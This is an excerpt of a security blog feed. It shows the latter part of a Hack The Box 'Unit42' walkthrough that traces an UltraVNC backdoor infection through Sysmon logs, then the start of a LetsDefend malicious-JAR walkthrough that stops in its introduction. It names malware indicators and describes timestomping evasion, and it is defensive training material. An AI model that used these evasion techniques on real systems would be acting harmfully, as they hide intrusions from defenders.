target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see right away that this file hash is detected as malicious by most of the platforms, and there’s a ton of great information about what this executable does. Let’s proceed with our investigation and see what we can gather just by looking at the provided &lt;em&gt;Sysmon&lt;/em&gt; logs, shall we?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;60d8436fe6284c86d9e3930410edb12a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/60d8436fe6284c86d9e3930410edb12a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-which-cloud-drive-was-used-to-distribute-themalware&#34;&gt;Question 3: Which Cloud drive was used to distribute the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Our next order of business is to determine which cloud storage drive the malicious executable was downloaded from. For this, we can identify the &lt;em&gt;Referrer URL&lt;/em&gt; in the &lt;code&gt;Zone.Identifier&lt;/code&gt; metadata of the file. This is part of the &lt;em&gt;Mark of the Web&lt;/em&gt; metadata stream and can help us analysts identify the source of a file.&lt;/p&gt;&#xA;&lt;p&gt;We can uncover this information by filtering the event log for &lt;strong&gt;Event ID 15&lt;/strong&gt;. This event label is &lt;em&gt;FileCreateStreamHash&lt;/em&gt;, and while it sounds complicated, the &lt;em&gt;Sysmon&lt;/em&gt; documentation clarifies:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This event logs when a named file stream is created, and it generates events that log the hash of the contents of the file to which the stream is assigned (the unnamed stream), as well as the contents of the named stream. There are malware variants that drop their executables or configuration settings via browser downloads, and this event is aimed at capturing that based on the browser attaching a &lt;code&gt;Zone.Identifier&lt;/code&gt; &amp;ldquo;mark of the web&amp;rdquo; stream.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Putting all this together, filtering for &lt;em&gt;Event ID 15&lt;/em&gt; returns two results. The one at the top contains the &lt;em&gt;Mark of the Web&lt;/em&gt; stream information for the malicious binary we identified in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;87077a528148474bc7d24e0b067c6ee5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/87077a528148474bc7d24e0b067c6ee5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying the referrer URL using Sysmon Event ID 15&lt;/p&gt;&#xA;&lt;p&gt;This entry shows the &lt;em&gt;Zone.Identifier&lt;/em&gt; metadata, including the &lt;em&gt;ReferrerUrl&lt;/em&gt; which points to &lt;strong&gt;Dropbox&lt;/strong&gt;, a common and very popular cloud storage solution, as the source of malware download.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5d1df5764fa0f8d846281040313b9f60_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/5d1df5764fa0f8d846281040313b9f60_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-for-many-of-the-files-it-wrote-to-disk-the-initial-malicious-file-used-a-defense-evasion-technique-called-time-stomping-where-the-file-creation-date-is-changed-to-make-it-appear-older-and-blend-in-with-other-files-what-was-the-timestamp-changed-to-for-the-pdffile&#34;&gt;Question 4: For many of the files it wrote to disk, the initial malicious file used a defense evasion technique called Time Stomping, where the file creation date is changed to make it appear older and blend in with other files. What was the timestamp changed to for the PDF file?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, to answer &lt;strong&gt;Question 4&lt;/strong&gt;, we’ll need to identify a PDF file related to the attack and then determine what the manipulated timestamp of the file is.&lt;/p&gt;&#xA;&lt;p&gt;The first step is to filter the &lt;em&gt;Sysmon&lt;/em&gt; logs for &lt;strong&gt;Event ID 2&lt;/strong&gt;: &lt;em&gt;A process changed a file creation time&lt;/em&gt;. This event ID is helpful for detecting timestomp activity on a victim system. According to the &lt;em&gt;Sysmon&lt;/em&gt; documentation:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The change file creation time event is registered when a file creation time is explicitly modified by a process. This event helps tracking the real creation time of a file. Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Once we’ve applied the filter, we can use &lt;em&gt;Windows Event Viewer’s&lt;/em&gt; built-in &lt;em&gt;Find&lt;/em&gt; function and search for the keyword &lt;code&gt;pdf&lt;/code&gt; to quickly pinpoint the event we’re seeking.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;73d6f9b85b8e17266d4c54bd32e1df4c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/73d6f9b85b8e17266d4c54bd32e1df4c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying timestomp events using Sysmon Event ID 2&lt;/p&gt;&#xA;&lt;p&gt;Take a look under the file path for &lt;code&gt;~.pdf&lt;/code&gt; — we can see two different timestamps, which confirms that the file was manipulated using a timestomp technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/006/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK T1070.006&lt;/em&gt;&lt;/a&gt;). We’re looking for the older, original timestamp to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a7c5dc8d58cf3a32eff533f36ba7770b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/a7c5dc8d58cf3a32eff533f36ba7770b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-malicious-file-dropped-a-few-files-on-disk-where-was-oncecmd-created-on-disk-please-answer-with-the-full-path-along-with-the-filename&#34;&gt;Question 5: The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename.&#xA;&lt;/h3&gt;&lt;p&gt;Moving on to &lt;strong&gt;Question 5&lt;/strong&gt;, we need to figure out the file path of another related file: &lt;code&gt;once.cmd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The key phrase in the question is &lt;em&gt;“dropped a few files on disk”&lt;/em&gt;, which tells us we’ll need to filter for &lt;strong&gt;Event ID 11&lt;/strong&gt; (&lt;em&gt;FileCreate&lt;/em&gt;) again. Once we’ve applied the filter, we can use the &lt;em&gt;Find&lt;/em&gt; function to search for the file in question — &lt;code&gt;once.cmd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;69c4572dbbe73064f4b25ee9dd70d1bd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/69c4572dbbe73064f4b25ee9dd70d1bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying dropped file path event using Sysmon Event ID 11&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve located the event, we’ll learn the full file path of the dropped file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6189e25c517e1d9d1f52346952114107_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/6189e25c517e1d9d1f52346952114107_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-malicious-file-attempted-to-reach-a-dummy-domain-most-likely-to-check-the-internet-connection-status-what-domain-name-did-it-try-to-connectto&#34;&gt;Question 6: The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?&#xA;&lt;/h3&gt;&lt;p&gt;Now’s the time to start moving away from file-related events and pivot to &lt;em&gt;network events&lt;/em&gt; within the &lt;em&gt;Sysmon&lt;/em&gt; log. To answer &lt;strong&gt;Question 6&lt;/strong&gt;, filter for &lt;strong&gt;Event ID 22&lt;/strong&gt;: &lt;em&gt;DNSEvent (DNS query)&lt;/em&gt; events to identify DNS lookups to external domains.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This event is generated when a process executes a DNS query, whether the result is successful or fails, cached or not. The telemetry for this event was added for Windows 8.1 so it is not available on Windows 7 and earlier.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;631ac999a9c7490cc1c9a59bf16e68d0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/631ac999a9c7490cc1c9a59bf16e68d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying DNS connection check event using Sysmon Event ID 22&lt;/p&gt;&#xA;&lt;p&gt;Applying this filter returns three events, with the top event revealing a DNS lookup to a specific domain — this is the one we’re after, and it seems to be used as an internet connection check.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;49dac8c8b3f80080041daa89e6696503_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1511px&#34; data-flex-grow=&#34;629&#34; height=&#34;127&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/49dac8c8b3f80080041daa89e6696503_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-which-ip-address-did-the-malicious-process-try-to-reach-outto&#34;&gt;Question 7: Which IP address did the malicious process try to reach out to?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt; and continue our analysis of network-related artifacts in the &lt;em&gt;Sysmon&lt;/em&gt; log, we’ll now need to determine the IP address that the malicious process reached out to.&lt;/p&gt;&#xA;&lt;p&gt;For this, we’ll filter the &lt;em&gt;Sysmon&lt;/em&gt; log for &lt;strong&gt;Event ID 3&lt;/strong&gt;: &lt;em&gt;Network connection&lt;/em&gt;. According to the &lt;em&gt;Sysmon&lt;/em&gt; documentation:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The network connection event logs TCP/UDP connections on the machine. It is disabled by default. Each connection is linked to a process through the &lt;code&gt;ProcessId&lt;/code&gt; and &lt;code&gt;ProcessGuid&lt;/code&gt; fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Applying this filter yields one result. For ease of viewing, I’ve selected the &lt;em&gt;Details&lt;/em&gt; tab. Scroll down to the &lt;code&gt;DestinationIp&lt;/code&gt; field to find the remote IP that the malware connects to.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c12c8f762896a3c0c9b1cc83a3344b79_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/c12c8f762896a3c0c9b1cc83a3344b79_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying C2 IP using Sysmon Event ID 3&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;645c8c6ebbb64b190674623b3b9be4fd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/645c8c6ebbb64b190674623b3b9be4fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-malicious-process-terminated-itself-after-infecting-the-pc-with-a-backdoored-variant-of-ultravnc-when-did-the-process-terminate-itself&#34;&gt;Question 8: The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?&#xA;&lt;/h3&gt;&lt;p&gt;For our final question, we just need to figure out when the malicious process &lt;code&gt;Preventivo24.02.14.exe.exe&lt;/code&gt; terminated.&lt;/p&gt;&#xA;&lt;p&gt;We can discover this information easily by filtering for &lt;strong&gt;Event ID 5&lt;/strong&gt;: &lt;em&gt;Process terminated&lt;/em&gt; events.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The process terminate event reports when a process terminates. It provides the &lt;code&gt;UtcTime&lt;/code&gt;, &lt;code&gt;ProcessGuid&lt;/code&gt; and &lt;code&gt;ProcessId&lt;/code&gt; of the process.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This will return a single event, and we can grab the termination timestamp from the event details.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f4eddab3461be643d7448f9dc63b604c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/f4eddab3461be643d7448f9dc63b604c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying malware process termination using Sysmon Event ID 5&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bdd4050219a3a0780e398b29e56c63c7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/bdd4050219a3a0780e398b29e56c63c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;so-what-happened-here-bringing-it-all-together-and-contextualizing-the-infection-chain&#34;&gt;So, What Happened Here? Bringing it All Together and Contextualizing the Infection Chain&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump down to the conclusion, let’s take a step back and look at the &lt;em&gt;LinkedIn&lt;/em&gt; post by &lt;strong&gt;Palo Alto’s Unit 42&lt;/strong&gt; that inspired this challenge. If you’re like me, a visual reference that brings all the questions together can help you fully understand what happened, and what the artifacts we discovered actually mean.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&#34;  title=&#34;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;#ultravnc #timelythreatintel #indicatorsofcompromise #unit42threatintel #wireshark…&lt;/strong&gt;&#xA;_2024-01-23 (Tuesday): #UltraVNC infection generated by EXE from Dropbox URL. Dropbox URL now offline! IOCs from an…_www.linkedin.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9be633a5a199b95e80c8cfe89c64b749_MD5.jpg&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/9be633a5a199b95e80c8cfe89c64b749_MD5.jpg&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does this sound kind of familiar?&lt;/p&gt;&#xA;&lt;p&gt;If we look at the visual for the infection chain, we’ll see a malicious executable downloaded from &lt;em&gt;Dropbox&lt;/em&gt; — just like we identified in &lt;strong&gt;Questions 2 &amp;amp; 3&lt;/strong&gt;. Then we see a decoy PDF file, which lines up with &lt;strong&gt;Question 4&lt;/strong&gt;. This context gives us insight into the attack flow and reinforces how each artifact we uncovered fits into a broader narrative.&lt;/p&gt;&#xA;&lt;p&gt;I strongly encourage you to check out the &lt;em&gt;Palo Alto&lt;/em&gt; post, explore the research, and see what other conclusions you might draw compared to the challenge. It’s a great way to validate your analysis and expand your understanding of how threat intelligence connects to hands-on investigations.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;71c0e9866534f11d402c22cd544264a0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;310px&#34; data-flex-grow=&#34;129&#34; height=&#34;524&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/71c0e9866534f11d402c22cd544264a0_MD5.png&#34; width=&#34;678&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That wraps up our investigation of the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/632&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unit42&lt;/strong&gt;&lt;/a&gt; challenge! We’ve walked through each step of the infection chain: from identifying the initial malicious executable downloaded from &lt;em&gt;Dropbox&lt;/em&gt;, to uncovering &lt;em&gt;timestomping&lt;/em&gt; activity, &lt;em&gt;DNS queries&lt;/em&gt;, and &lt;em&gt;IP connections&lt;/em&gt; — all using nothing more than &lt;em&gt;Sysmon&lt;/em&gt; logs and a bit of threat intelligence.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for another high-quality and fun Sherlock — it’s been a blast going through this track.&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge as a great example of how &lt;em&gt;Sysmon&lt;/em&gt; bolsters forensic capabilities by collecting and contextualizing meaningful endpoint logs. With these logs, we were able to breeze through analysis, focusing on targeted events to tell a compelling story. Whether it’s filtering for specific event IDs, pivoting to external threat intel platforms like &lt;em&gt;VirusTotal&lt;/em&gt;, or recognizing subtle evasion techniques like &lt;em&gt;timestomping&lt;/em&gt;, every artifact adds a piece to the puzzle. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/632&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/632&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft — Sysmon:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft — Sysinternals:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal —&lt;/strong&gt; &lt;code&gt;Preventivo24.02.14.exe.exe&lt;/code&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Indicator Removal: Timestomp (T1070.006):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/006/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1070/006/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;LinkedIn — Palo Alto Networks Unit 42:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.linkedin.com/posts/unit42_ultravnc-timelythreatintel-indicatorsofcompromise-activity-7156060867678150657-ktbL/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Samba Spy Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/</link>
            <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Samba Spy Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--samba-spy-challenge-walkthrough&#34;&gt;LetsDefend — Samba Spy Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-jar-file-using-java-decompiler-virustotal--mitreattck&#34;&gt;Investigating a Malicious JAR File Using Java Decompiler, VirusTotal &amp;amp; MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/samba-spy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome back to another weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a comprehensive guide the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Samba Spy&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a great opportunity to explore how adversaries use Java-based payloads, obfuscation, and anti-analysis techniques to evade detection.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization has discovered an infection on one of its systems involving a malicious Java application. This malware performs environment checks to ensure it is not running inside a virtual machine and targets systems with specific configurations. Once the required conditions are met, it extracts files and executes malicious components that could compromise sensitive data or system integrity. The stealthy nature of the malware and its ability to evade detection pose a serious threat, requiring immediate action to secure the network and prevent further compromise.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Uh-oh! That 